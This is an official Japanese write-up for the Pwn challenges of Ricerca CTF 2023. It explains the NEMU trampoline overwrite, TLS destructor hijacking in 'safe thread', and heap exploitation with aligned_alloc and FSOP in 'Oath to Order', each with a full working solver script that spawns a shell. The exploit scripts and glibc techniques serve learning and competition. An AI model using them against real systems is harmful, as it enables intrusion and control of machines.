Ricerca CTF 2023 作問者Writeup [Pwn編]
2023-6-1 20:48:0 Author: ricercasecurity.blogspot.com(查看原文) 阅读量:18 收藏

この記事は、2023年4月22日に弊社が開催したRicerca CTF 2023の公式Writeupです。今回はPwnカテゴリの問題のうち、warmupを除く問題の解法を紹介します。

配布ファイルやスクリプトは以下のGitHubリポジトリを参照してください。

https://github.com/RICSecLab/ricerca-ctf-2023-public

  また、他のジャンルのWriteupは以下の投稿から読むことができます。

NEMU

Writeup著者:keymoon

問題概要

独自アーキテクチャの VM が実装されたファイルが渡されます。命令は以下の 6 つしか存在していません。

Welcome to NEMU!
We now only have following 6 instructions:
     1) LOAD [imm]: Load value [imm] into ACC register
     2) MOV  [reg]: Copy data stored in AC register into [reg] register
     3) INC  [reg]: Increment the value stored in [reg] register
     4) DBL  [reg]: Double the value stored in [reg] register
     5) ADDI [imm]: Add value [imm] to the value of ACC register
     6) ADD  [reg]: Add value stored in [reg] register to the value of ACC register

また、レジスタはアキュムレータと汎用レジスタ 3 つのみが 32 bit レジスタとして存在しています。

特筆すべきこととして、多態性を表現するために nested function と呼ばれる GCC 拡張の文法を用いてる点が挙げられます。

switch (readint()) {
  case 1: {
    void load(uint64_t imm) { a = imm; }
    op_fp = load;
    read_fp = readimm;
    break;
  }
...
  case 6: {
    void add(uint64_t* reg) { a += *reg; }
    op_fp = add;
    read_fp = readreg;
    break;
  }
  default:
    exit(1);
}
printf("operand: ");
((void (*)(uint64_t))op_fp)(((uint64_t(*)())read_fp)());

解法

問題の観察

まず、配布された chall ファイルのセキュリティ機構を確認してみましょう。checksec コマンドを用いて確認すると、以下のとおりであると確認できます。

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

PIE や RELRO といった CTF でよく無効化されるセキュリティ機構は有効化されているようですが、一つ特筆すべきことがあります。それは、このバイナリには RWX セグメントが存在しているということです。

RWX セグメントとは、書き込み可能でかつ実行も可能なセグメント(メモリ領域)のことを指します。これは、現在の x86-64 バイナリでは特別な理由なく用いられることはありません。

このようになっている理由の一つとして、不用意に RWX セグメントを用いることはセキュリティ的に脆弱であることが挙げられます。もしもプログラムに脆弱性があり、意図された範囲外のデータを書き換えられたとしましょう。これを用いて RWX セグメント内の機械語を書き換えると、その機械語が呼ばれるタイミングでプログラムの挙動を攻撃者に乗っ取られてしまうことになります。他にも、Shellcode を用いた攻撃の起点となるなどの問題も挙げられます。

nested function と RWX セグメント

では、どうしてこのプログラムには RWX セグメントが存在しているのでしょうか。それは、この問題で用いられている機能である nested function を実現する際の都合によるものです。

例えば、以下のようなプログラムを考えてみましょう。このプログラムでは、入力したメッセージをそのまま出力することが期待されます。

#include <stdio.h>
void f(void (*fun)(void)) {
    fun();
}

int main() {
    char msg[10];
    scanf("%9s", msg);
    void printmsg() {
        puts(msg);
    }
    f(printmsg);
}

しかし、関数fに直接printmsg関数のポインタを渡した場合、msgという変数をどこから取得すればよいかが分からなくなってしまいます。

そこで、printmsg関数が宣言された箇所のスタックポインタの値をr10レジスタに格納し、その後にprintmsg関数を呼び出すトランポリン関数を関数fに渡す関数として内部的に生成しています。

この関数がstack上に生成されることが、stack が実行可能であった理由です。

脆弱性

この問題の脆弱性は、mov や inc といった操作でレジスタ変数が 64 bit として扱われていることにあります。この脆弱性がある関数は、以下の 4 関数です。

void mov(uint64_t* reg) { *reg = a; }
void inc(uint64_t* reg) { *reg += 1; }
void dbl(uint64_t* reg) { *reg *= 2; }
void add(uint64_t* reg) { a += *reg; }

これらの関数を用いて reg ポインタの先の値を任意の 64 bit の値に設定することができれば、レジスタ変数の後ろ 32 bit を任意の値に書き換えることができることになります。これは、dbl関数を用いることで実現することができます。

では、書き換えられる値は何の値なのでしょうか?結論から言ってしまうと、この値は add 関数のトランポリン関数の先頭の機械語です。よって、これを書き換えてからadd関数を呼ぶことで任意の 32 bit = 4 byte を Shellcode として実行させることができることが分かります。

eExploit

上で発見した脆弱性を用いて、shellcode を実行してみましょう。まず、4 byte ではあまりにも短すぎるので、まず stack 上で書き込むことができる他の領域にジャンプする命令を書きます。ジャンプ範囲が符号付き byte に収まるショートジャンプであれば eb xxの 2 byte で表すことができるので、これが実現できそうです。

ジャンプ先としては、レジスタ変数が密集している箇所が理想的でしょう。ここであれば、4 byte * 4=16 byte の値を自由にコントロールすることができます。

次に、この 16 byte を用いて shellcode を書きます。execve(”/bin/sh”)を行うshellcode は以下のような処理を行えば良いです。

mov rax, 59; syscall 番号 (sys_execve)
mov rdi, (/bin/sh のアドレス); 第1引数(filename)
mov rsi, 0; 第2引数(argv)
mov rdx, 0; 第3引数(envp)
syscall;

これを実現する方法はいくつかありますが、ここでは 2 種類の方針を紹介します。

方針1: 短い shellcode を書く

シンプルな分かりやすい方針ですが、16 byte という制限があるために見た目よりも難しい方針です。まず、add 関数が呼ばれた際のレジスタの値を確認してみましょう。add(a) という命令を実行した際の値を確認すると、以下のようになっています。

rax  0x7ffd372ac670
rdi  0x7ffd372ac670
rsi  0x0
rdx  0x0

これを見ると分かるように、rsirdxは既に 0 になっているために調整する必要がありません。また、rdiaレジスタの変数を指しています。これは、add関数への第一引数としてaレジスタの変数へのポインタを渡しているためです。

よって、rdi/bin/sh\x00 と解釈できる値をレジスタに格納した後、そのレジスタをaddの引数として渡すことで調整することができます。なお、ここでレジスタを 8 byte 消費してしまったため、使用できる byte 数は 16 byte-8 byte=8 byte となります。

これで、raxのポインタのみを調整すればよいことになりました。素直にmov rax, 59; と書くと 7 byte も使用してしまうので、ここでは push 59; pop rax のようにして 3 byte で処理を実現します。これとsyscallの 2 byte を合わせて、以下のような 5 byte で Shellcode を実現することができます。

6a 3b  push   0x3b
58     pop    eax
0f 05  syscall

方針2: stager を書く

stager とは、より長いペイロードを読み込むための短いコードのことです。今回は、以下のようなstagerを書くことを目標とします。

mov rax, 0; syscall 番号 (sys_read)
mov rdi, 0; 第1引数(fd)
mov rsi, (ペイロードを読み込むアドレス); 第2引数(buf)
mov rdx, (大きな値); 第3引数(count)
syscall;

これも素直に書くと 16 byte を優に超えてしまうので、短くするための工夫をします。

先程見たとおり、addが呼ばれる際にはrdiがレジスタのポインタを指しています。よって、rsirdiからmovすることで調整することにします。rdxレジスタには、dhレジスタに値 0xff を読み込むことで0xff00という値とします。

次に、rdiraxを0にしなければいけません。レジスタを0にセットするという処理は、xor命令を用いて自身とxorさせることで実現されることが多いです。今回もこの手法を用いることとします。

これにより、以下のような 11 byte で stager を実現することができます。

48 89 fa  mov    rdx,rdi
48 89 fe  mov    rsi,rdi
31 c0  xor    eax,eax
31 ff  xor    edi,edi
0f 05     syscall

これで、長さの制約なく shellcode を読み込むことができるようになりました。後は、単純な shellcode を読み込めばよいだけです。

ソルバ

以下は方針1, 2の両方を実装したソルバになります。コード中のDO_STAGERフラグを変更することで、2つの方針が切り替えられます。なお、このソルバ ではptrlibを利用しています。

import os
from ptrlib import *

BIN_NAME = "../distfiles/chall"

chall = ELF(BIN_NAME)

HOST = os.getenv("HOST", "localhost")
PORT = int(os.getenv("PORT", 9002))

stream = remote(HOST, PORT)

LOAD, MOV, INC, DBL, ADDI, ADD  = 1, 2, 3, 4, 5, 6
AC, R1, R2, R3 = 'r0', 'r1', 'r2', 'r3'

def imm(val):
    return f'#{val}'

def op(opcode, operand):
    stream.sendlineafter(b'opcode: ', opcode)
    stream.sendlineafter(b'operand: ', operand)

def load_to_upper(reg, val):
    op(LOAD, imm(val))
    op(MOV,  reg)
    for _ in range(32): op(DBL, reg)

"""
memory layout:
| AC | R3 | R2 | R1 | trampoline
"""

DO_STAGER = False

if not DO_STAGER:
    payload = assemble(
        """
        push   59;
        pop    rax;
        syscall;
        """,
        bits=64
    ).ljust(8, b'\x00') + \
    b'/bin/sh\x00' + \
    b"\xeb\xee"
else:
    payload = assemble(
        """
        mov    dh, 0xff
        mov    rsi,rdi
        xor    eax,eax
        xor    edi,edi
        syscall
        """,
        bits=64
    ).ljust(16, b'\x90') + \
    b"\xeb\xee"

load_to_upper(R1, u32(payload[16:]))
load_to_upper(R2, u32(payload[12:16]))
load_to_upper(R3, u32(payload[8:12]))
load_to_upper(AC, u32(payload[4:8]))
op(LOAD, imm(u32(payload[0:4])))

if not DO_STAGER:
    op(ADD, R2)
else:
    op(ADD, AC)
    stream.sendline(
        b"\x90" * 16 + nasm(
            """
            mov rax, 59
            lea rdi, [rel s_binsh]
            xor rsi, rsi
            xor rdx, rdx
            syscall
            s_binsh: db "/bin/sh", 0
            """,
            bits=64
        )
    )

stream.sendline("cat /flag-*")
print(stream.recvuntil("}").decode()) 

safe thread

問題・Writeup著者:ptr-yudai

問題概要

この問題の本質部分は以下のコードだけです。

void *thread(void *_arg) {
  ssize_t len;
  char buf[0x10] = {};
  write(STDOUT_FILENO, "size: ", 6);
  read_n(buf, 0x10);
  len = atol(buf);
  write(STDOUT_FILENO, "data: ", 6);
  read_n(buf, len);
  exit(0);
}

int main() {
  alarm(180);
  pthread_create(&th, NULL, thread, NULL);
  pthread_join(th, NULL);
  return 0;
}

pthreadで動作するスレッド上で自明なスタックバッファオーバーフローがありますが、exitしているためリターンアドレスを書き換えても意味がありません。

解法

この問題でのスタックバッファオーバーフローを利用するには、スレッド特有の知識が必要になります。

TLSとスタック

pthreadで作成されるスレッドはcloneシステムコールにより作成され、メモリ空間を共有します。スタックやヒープは通常スレッドごとに機能的に独立しており、一方でグローバル変数はすべてのスレッドで共有されます。 また、Linux(やWindows)では TLS (Thread Local Storage) というスレッド固有の領域もあります。Linuxにおいて、TLSはfsレジスタを使って参照できます。例えば、次のコードはTLSの0x18バイト目から8バイトをraxレジスタに代入します。

mov rax, qword ptr [fs:0x18]

このコードは、異なるスレッドで動かすとそれぞれのスレッドのTLSを参照します。

では、gdbでTLSを見てみましょう。現在のコンテキストでのfsレジスタの値は$fs_baseに入っています。

pwndbg> p/x $fs_base
$2 = 0x7ffff7bff640
pwndbg> x/16xg 0x7ffff7bff640
0x7ffff7bff640: 0x00007ffff7bff640      0x00000000004052b0
0x7ffff7bff650: 0x00007ffff7bff640      0x0000000000000001
0x7ffff7bff660: 0x0000000000000000      0xeb983df70c185e00
0x7ffff7bff670: 0x7f6d85e655c2ed39      0x0000000000000000
0x7ffff7bff680: 0x0000000000000000      0x0000000000000000
0x7ffff7bff690: 0x0000000000000000      0x0000000000000000
0x7ffff7bff6a0: 0x0000000000000000      0x0000000000000000
0x7ffff7bff6b0: 0x0000000000000000      0x0000000000000000

例えばfs:0x28にはstack canaryの比較元(master canary)が入っています。 また、このスレッドのスタックポインタも確認してみましょう。

pwndbg> p/x $fs_base
$5 = 0x7ffff7bff640
pwndbg> p/x $rsp
$4 = 0x7ffff7bfee10
pwndbg> vmmap 0x7ffff7bfee10
             Start                End Perm     Size Offset File
    0x7ffff7400000     0x7ffff7c00000 rw-p   800000      0 [anon_7ffff7400] +0x7fee10

TLSもスタックも、連続した領域に確保されていることが分かります。また、TLSの方がスタックよりも高いアドレスにマップされています。 これは、TLS領域とpthreadが確保するスタックが連続してmmapされるためです。したがって、このスレッド中でスタックバッファオーバーフローが発生すると、TLS領域を破壊してしまう可能性があります。 このようにスレッドで発生したスタックバッファオーバーフローが別のメモリ領域を破壊するのを防ぐため、通常スレッドごとにガードページと呼ばれる書き込み不可のページが確保されますが、LinuxではTLSとスタックの間には確保されません。

__run_exit_handlersとPTR_MANGLE

スレッド上のスタックバッファオーバーフローにより、TLSを書き換えられることが分かりました。今回のコードではexit関数が呼ばれているので、TLSとexit関数の関わりについて見ていきましょう。

exit関数はプログラムを終了する関数ですが、単にexitシステムコールを呼び出しているわけではありません。exit関数は、まず__run_exit_handlersという関数を呼び出し、atexitで登録された終了ハンドラや、デストラクタなどを呼び出します。

例えば、以下のルーチンで_dl_finiの関数ポインタが呼ばれます。

case ef_cxa:
  /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
 we must mark this function as ef_free.  */
  f->flavor = ef_free;
  cxafct = f->func.cxa.fn;
  arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (cxafct);
#endif
  /* Unlock the list while we call a foreign function.  */
  __libc_lock_unlock (__exit_funcs_lock);
  cxafct (arg, status);
  __libc_lock_lock (__exit_funcs_lock);
  break;

ここで注目すべき点が、PTR_DEMANGLEの利用です。exit関数から呼ばれるデストラクタはPTR_MANGLEというマクロにより暗号化されています。

#  define PTR_MANGLE(reg)	xor %fs:POINTER_GUARD, reg;		      \\
				rol $2*LP_SIZE+1, reg
#  define PTR_DEMANGLE(reg)	ror $2*LP_SIZE+1, reg;			      \\
				xor %fs:POINTER_GUARD, reg

PTR_MANGLEでは、TLSに入った暗号鍵とポインタをxorし、0x11バイト左ローテートしています。今、TLSの内容は自由に書き換えられるので、暗号鍵も自由に設定できます。 しかし、この例では暗号化されたポインタは__exit_funcsというlibc内部の変数から取られており、ここは書き換えられず、かつlibcのアドレスはわからないため暗号鍵を操作できたところでクラッシュが起きるだけです。

少し前に呼び出される__call_tls_dtors関数を見てみましょう。この関数は名前の通り、TLS領域が破棄される際に呼び出されるべきデストラクタを呼ぶ関数です。通常は何も呼ばれません。


/* Call the destructors.  This is called either when a thread returns from the
   initial function or when the process exits via the exit function.  */
void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif

      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);

      /* Ensure that the MAP dereference happens before
	 l_tls_dtor_count decrement.  That way, we protect this access from a
	 potential DSO unload in _dl_close_worker, which happens when
	 l_tls_dtor_count is 0.  See CONCURRENCY NOTES for more detail.  */
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}
libc_hidden_def (__call_tls_dtors)

ここでも関数ポインタがPTR_MANGLEにより暗号化されていることが分かります。また、TLSのデストラクタなので当然ですが、tls_dtor_listは次のようにTLS内に定義されています。

static __thread struct dtor_list *tls_dtor_list;

したがって、スタックオーバーフローでtls_dtor_listと暗号鍵を適切に設定すれば、任意のアドレスを呼び出すことができます。

tls_dtor_listは適切なポインタである必要があります。dtor_list構造体は以下のようになっています。

typedef void (*dtor_func) (void *);

struct dtor_list
{
  dtor_func func;
  void *obj;
  struct link_map *map;
  struct dtor_list *next;
};

例えばtls_dtor_listを.bss周辺の内容が固定の領域に向けるとtls_dtor_list->funcも定数値になるため、暗号鍵を調整するだけで任意アドレスが呼び出せます。なお、今回のlibcではtls_dtor_listのアドレスがrbpに入ることにも注意しましょう。

アドレスリーク

任意アドレスの呼び出しはできましたが、libcのアドレスを持っていません。まずはプログラム本体のどこかにジャンプして、アドレスをリークする必要があります。 理想的にはwrite(1, &libcの何かのアドレス, 適当なバイト数)が呼び出したいので、write関数を使用している箇所の直前にジャンプしたいです。そのためには、RDI, RSI, RDXが適当な値にセットされている必要があります。 __call_tls_dtorsの関数呼び出しは次のようになっています。

rbptls_dtor_listなので、TLSを破壊する際に自由に操作できます。 rdirbp+8, rdxrbp+0x18から取られており、rsiは常に__exit_funcsを指しています。 したがって、rdiを0,1,2のいずれかに、rdxをサイズとして適当な値に設定できればアドレスリークができます。

.bssセクションを見てみましょう。

pwndbg> x/8xg 0x404008
0x404008:       0x0000000000000000      0x0000000000000000
0x404018 <th>:  0x00007ffff7bff640      0x0000000000000000
0x404028:       0x0000000000000000      0x0000000000000000
0x404038:       0x0000000000000000      0x0000000000000000

グローバル変数thのアドレスがあります。これをサイズとして利用するため、アドレスをずらして見てみます。

pwndbg> x/8xg 0x404008 - 3
0x404005:       0x0000000000000000      0x0000000000000000
0x404015:       0xfff7bff640000000      0x000000000000007f
0x404025:       0x0000000000000000      0x0000000000000000
0x404035:       0x0000000000000000      0x0000000000000000

したがって、tls_dtor_listを0x404005にセットすれば、

write(0, __exit_funcs, 0x7f);

が実行できます。

ROP

スレッド関数中のwriteでアドレスリークをしたら、そのままreadで再度BOFできます。したがって、またTLSを上書きして任意アドレスにジャンプできます。今回のバイナリではone gadgetが動かず、かつ引数が操作できないのでsystem関数も呼び出せません。 そこで、ROPをします。libcのアドレスがわかっているので、libc中の豊富なROP gadgetが使えます。add rsp, XX gadgetを使ってstack pivotすると、ROPできます。

ソルバ

from ptrlib import *

libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
sock = Process("../distfiles/chall")

payload  = b'A'*0x7d8
payload += p64(0x404005) # tls_dtor_list = rbp
payload += b'A'*0x60
payload += p64(0x404000) # thread futex
payload += b'\x00'*0x18
payload += p64(0x4012c3) # xor key
payload += b'A'*0x100

sock.sendlineafter("size: ", str(len(payload)))
sock.sendlineafter("data: ", payload)
libc.base = u64(sock.recvonce(8)) - 0x21af00

payload  = p64(next(libc.gadget("ret"))) * 0x41
payload += p64(next(libc.gadget("pop rdi; ret;")))
payload += p64(next(libc.find("/bin/sh")))
payload += p64(libc.symbol("system"))
payload += b'B'*(0x870 - len(payload))
payload += p64(0x404800) # tls_dtor_list = rbp
payload += b'C'*0x60
payload += p64(0x404000) # thread futex
payload += b'\x00'*0x18
payload += p64(next(libc.gadget("add rsp, 0xa8; ret;"))) # xor key
sock.sendline(payload)

sock.sh()

Oath to Order

問題著者:keymoon, ptr-yudai / Writeup著者:ptr-yudai

問題概要

Ubuntu 22.04で動作する64-bitのプログラムが攻撃対象です。

$ checksec chall
[*] '/home/ptr/ricsec/2023/ricerca-ctf-2023-public/pwn/oath_to_order/distfiles/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

この問題はいわゆるnote系の問題で、ヒープに関する知識が問われます。プログラムを起動してみると、次のようにデータを確保、出力できる機能があります。

$ ./chall 
1. Create
2. Show
> 1
index: 0
size: 123
alignment: 128
note: Hello
1. Create
2. Show
> 2
index: 0
Hello

一般的なnote系の問題と比べると、以下の特徴があります。

  • freeに該当する機能が提供されていない。
  • データ確保時に、サイズの他にalignmentという項目を入力する。

解法

aligned_alloc

この問題の一番の特徴は、alignmentにあります。配布されたソースコードを読むと、noteは次のように確保されています。

void create(void) {
  unsigned idx, size, alignment;

  print("index: ");
  if ((idx = getint()) >= NOTE_LEN) {
    print("invalid index\n");
    return;
  }

  print("size: ");
  if ((size = getint()) >= MAX_SIZE) {
    print("invalid size\n");
    return;
  }

  print("alignment: ");
  if ((alignment = getint()) >= MAX_SIZE) {
    print("invalid alignment\n");
    return;
  }

  notes[idx] = aligned_alloc(alignment, size);

  print("note: ");
  getstr(notes[idx], size);
}

見慣れない aligned_alloc という関数が登場しています。この関数は malloc と同様に、指定サイズのデータ領域をヒープ上に確保します。第一引数に与える alignment は、この関数が返却するアドレスが、その値でアラインされている(倍数になっている)ことを保証します。ただし、 64-bitの場合 alignment は0x10 * 2^nの形である必要があります。

ソースコードを読んでみましょう。

static void *
_mid_memalign (size_t alignment, size_t bytes, void *address)
{
  mstate ar_ptr;
  void *p;

  /* If we need less alignment than we give anyway, just relay to malloc.  */
  if (alignment <= MALLOC_ALIGNMENT)
    return __libc_malloc (bytes);

  /* Otherwise, ensure that it is at least a minimum chunk size */
  if (alignment < MINSIZE)
    alignment = MINSIZE;

  /* If the alignment is greater than SIZE_MAX / 2 + 1 it cannot be a
     power of 2 and will cause overflow in the check below.  */
  if (alignment > SIZE_MAX / 2 + 1)
    {
      __set_errno (EINVAL);
      return 0;
    }

  /* Make sure alignment is power of 2.  */
  if (!powerof2 (alignment))
    {
      size_t a = MALLOC_ALIGNMENT * 2;
      while (a < alignment)
        a <<= 1;
      alignment = a;
    }

  if (SINGLE_THREAD_P)
    {
      p = _int_memalign (&main_arena, alignment, bytes);
      assert (!p || chunk_is_mmapped (mem2chunk (p)) ||
	      &main_arena == arena_for_chunk (mem2chunk (p)));
      return tag_new_usable (p);
    }

  arena_get (ar_ptr, bytes + alignment + MINSIZE);

  p = _int_memalign (ar_ptr, alignment, bytes);
  if (!p && ar_ptr != NULL)
    {
      LIBC_PROBE (memory_memalign_retry, 2, bytes, alignment);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      p = _int_memalign (ar_ptr, alignment, bytes);
    }

  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);
  assert (!p || chunk_is_mmapped (mem2chunk (p)) ||
          ar_ptr == arena_for_chunk (mem2chunk (p)));

  return tag_new_usable (p);
}

まず注目すべき点として、 alignmentMALLOC_ALIGNMENT 以下である場合、つまり0x10バイトでアラインする場合は通常の malloc と変わらないため、 __libc_malloc が呼ばれます。それ以外の場合、どのパスを通っても _int_memalign でチャンクが確保されます。この関数は _int から始まる内部関数ですので、こちらが呼ばれた場合は _int_malloc 側の処理が走ることになります。つまり、 alignment の値によってtcacheが使われるかが変わります。

次に、 _int_memalign のコードを少し読んでみましょう。

      /* Otherwise, give back leader, use the rest */
      set_head (newp, newsize | PREV_INUSE |
                (av != &main_arena ? NON_MAIN_ARENA : 0));
      set_inuse_bit_at_offset (newp, newsize);
      set_head_size (p, leadsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
      _int_free (av, p, 1);
      p = newp;
...
  /* Also give back spare room at the end */
  if (!chunk_is_mmapped (p))
    {
      size = chunksize (p);
      if ((unsigned long) (size) > (unsigned long) (nb + MINSIZE))
        {
          remainder_size = size - nb;
          remainder = chunk_at_offset (p, nb);
          set_head (remainder, remainder_size | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
          set_head_size (p, nb);
          _int_free (av, remainder, 1);
        }
    }

_int_free がところどころに現れています。メモリをアラインして確保する場合、チャンクの前後に使われない領域が発生する可能性があります。 _int_memalign ではこの領域を解放することで、他の malloc で使えるように切り出しています。

したがって、今回の問題にfree機能はありませんでしたが、 aligned_alloc の内部で実質的にfreeが発生することになります。ただし、 _int_free なのでtcacheが使われないという点には注意しましょう。

脆弱性

脆弱性は非常に単純で、入力を受け取る getstr 関数にあります。

void getstr(char *buf, unsigned size) {
  while (--size) {
    if (read(STDIN_FILENO, buf, sizeof(char)) != sizeof(char))
      exit(1);
    else if (*buf == '\n')
      break;
    buf++;
  }

  *buf = '\0';
}

size が0のとき、改行コードを送るまでデータを送り続けられることがわかります。したがって、Heap Buffer Overflowの脆弱性があります。

方針

Heap Buffer Overflowを今回の制約で任意アドレス書き込みにつなげるためには、少し見通しをよくしてからexploitを書く必要があります。具体的には、以下の2つのパートについて方針を立てましょう。

  1. libcのアドレスリーク
  2. tcache poisoning

ゴールから逆算するために、まず2について考えます。任意アドレス書き込みを実現するためにはtcache poisoningをするのが実用的です。前述したように aligned_alloc ではtcacheを使うパスもあり、都合が良さそうです。しかし、freeはすべて _int_free で発生するため、tcacheにチャンクをリンクさせるのは困難です(注釈: __libc_malloc の中にfreeを呼び出すパスはあるので、可能ではありますが煩雑になります。)。

ここで、 aligned_alloc が通常 _int_memalign を呼ぶ、すなわちtcacheを使わないことに着目します。tcacheの管理領域は初めてtcacheが使われたとき(初めて __libc_malloc が呼ばれたとき)に作成されます。したがって、今回の問題ではtcacheの管理領域よりも低いアドレスに _int_malloc で作成されたチャンクを差し込むことが可能です。Heap Buffer Overflowと組み合わせるとtcacheの管理領域を自由に書き換えられるため、任意アドレス書き込みが実現できそうです。

次に1について考えます。libc-2.35ではSafe Linkingが有効ですが、tcacheの管理領域にあるポインタは暗号化されないので、ヒープのアドレスを知る必要はありません。最低限libcのアドレスが得られれば十分です。tcacheは2で初めて使うので、libcのアドレスリークはfastbin, unsortedbin, smallbin, largebinを使って実現する必要があります。

今回は、unsortedbinサイズの巨大なチャンクをfreeする際、そのサイズ情報を事前にHeap Buffer Overflowで書き換えておくことで、本来より大きなサイズのチャンクがfreeされたと判断させます。これにより、別のチャンクを含む領域がfreeされます。図で表すと次の赤枠の領域がfreeされたと判断されます。

unsortedbinにリンクされたチャンクは、fdとbkの2つのポインタを持ちます。リストの最後尾にあるチャンクはtop、すなわち main_arena の内部へのポインタを持っています。このアドレスと、「生きている」チャンク(図のchunk 3)が重なれば、show機能によってlibcのアドレスをリークできます。

実際にはメモリアロケータのチェックをくぐり抜けて偽サイズのチャンクをfreeさせるために、ヒープレイアウトを工夫して用意しなくてはなりません。gdbでメモリの様子を確認しながら、慎重にexploitを書きましょう。

ソルバ

以下は上記方針を実装したソルバです。libc-2.35では __free_hook のような便利な関数ポインタがないので、 stdout のFILE構造体を破壊してFSOP(File Structure Oriented Programming)/bin/sh を呼び出しています。なお、このソルバ ではptrlibを利用しています。

from ptrlib import *
import os

HOST = os.getenv('HOST', 'localhost')
PORT = int(os.getenv('PORT', 9003))

def create(ind, size, alignment, content, newline=True):
  sock.sendlineafter('> ', '1')
  sock.sendlineafter(': ', ind)
  sock.sendlineafter(': ', size)
  sock.sendlineafter(': ', alignment)
  if newline:
      sock.sendlineafter(': ', content)
  else:
      sock.sendafter(': ', content)

def show(ind):
  sock.sendlineafter('> ', '2')
  sock.sendlineafter(': ', ind)
  return sock.recvuntil(b'\n1.', drop=True)

libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
#sock = Process("./chall")
sock = Socket(HOST, PORT)

create(0, 0x18, 0x80, b"A"*0x10)
create(0, 0x18, 0x100, b"B"*0x10)
create(0, 0x18, 0x100, b"C"*0x10)
create(0, 0x18, 0x100, b"D"*0x10)
create(0, 0x18, 0x100, b"E"*0x10)
create(0, 0x128, 0x120, b"F"*0x100 + p64(0x4f0) + p64(0x51))
create(0, 0x128, 0x120, b"F"*0x120)
create(0, 0xb8-0x20-0x20, 0x20, p64(0) + p64(0xdeadbeef) + p64(0)*2)
payload  = b"0"*0x18
payload += p64(0x61)
payload += b"1"*0x58
payload += p64(0x21)
payload += b"C"*0x18
payload += p64(0x4f1)
create(0, 0, 0x80, payload)
create(0, 0xc8-0x20-0x20, 0x20, b"X"*0x10)
create(1, 0x48, 0x20, b"a"*0x40)
create(2, 0x48, 0x20, b"a"*0x40)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)
create(0, 0x18, 0x20, b"b"*0x0)

libc.base = u64(show(1)) - libc.main_arena() - 0x60
create(0, 0x18, 299, b"A"*0x10)
heap_base = u64(show(2)) - 0x310
logger.info("heap = " + hex(heap_base))

create(0, 0x18, 0, "neko")
payload  = b"2" * 0x100
payload += p16(0x0101) * 0x40
payload += p64(libc.symbol('_IO_2_1_stdout_')) * 0x40
create(0, 0, 0x20, payload)
addr_IO_wfile_jumps = libc.base + 0x2160c0
fake_file = flat([
    0x3b01010101010101, u64(b"/bin/sh\0"), # flags / rptr
    0, 0, # rend / rbase
    0, 1, # wbase / wptr
    0, 0, # wend / bbase
    0, 0, # bend / savebase
    0, 0, # backupbase / saveend
    0, 0, # marker / chain
], map=p64)
fake_file += p64(libc.symbol("system")) # __doallocate
fake_file += b'\x00' * (0x88 - len(fake_file))
fake_file += p64(libc.base + 0x21ba70) # lock
fake_file += b'\x00' * (0xa0 - len(fake_file))
fake_file += p64(libc.symbol("_IO_2_1_stdout_")) # wide_data
fake_file += b'\x00' * (0xd8 - len(fake_file))
fake_file += p64(libc.base + 0x2160c0) # vtable (_IO_wfile_jumps)
fake_file += p64(libc.symbol("_IO_2_1_stdout_") + 8) # _wide_data->_wide_vtable
assert len(fake_file) < 0x100
create(0, 0x100, 0, fake_file)

sock.sendline("\ncat /flag-*")
print(sock.recvuntil(b"}"))

文章来源: https://ricercasecurity.blogspot.com/2023/06/ricerca-ctf-2023-writeup-pwn.html
如有侵权请联系:admin#unsafe.sh